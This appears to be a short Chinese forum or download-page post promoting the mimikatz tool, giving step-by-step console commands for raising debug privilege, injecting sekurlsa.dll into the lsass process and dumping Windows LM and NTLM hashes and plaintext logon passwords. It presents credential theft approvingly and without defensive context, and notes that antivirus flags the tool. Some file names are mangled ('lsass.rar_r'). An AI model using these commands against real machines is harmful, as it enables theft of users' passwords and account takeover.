|
mimikatz,该神器可直接获取windows操作系统的口令,不但可提取主机的 lm hash 和 ntlm hash ,连当前用户的明文密码都可以直接抓出来,强悍啊!
使用方法:
1. 运行主程序:mimikatz.rar_r
2. 输入:privilege::debug 提升权限
3. 输入:inject::process lsass.rar_r sekurlsa.dll
将sekurlsa.dll 注入到lsass.rar_r 中
4. 输入:@getLogonPasswords
即可获取hash和当前用户的明文密码!
注:该工具,杀软会报毒。提前说明下,免得让一些哥们说我整的东西是病毒。 |
|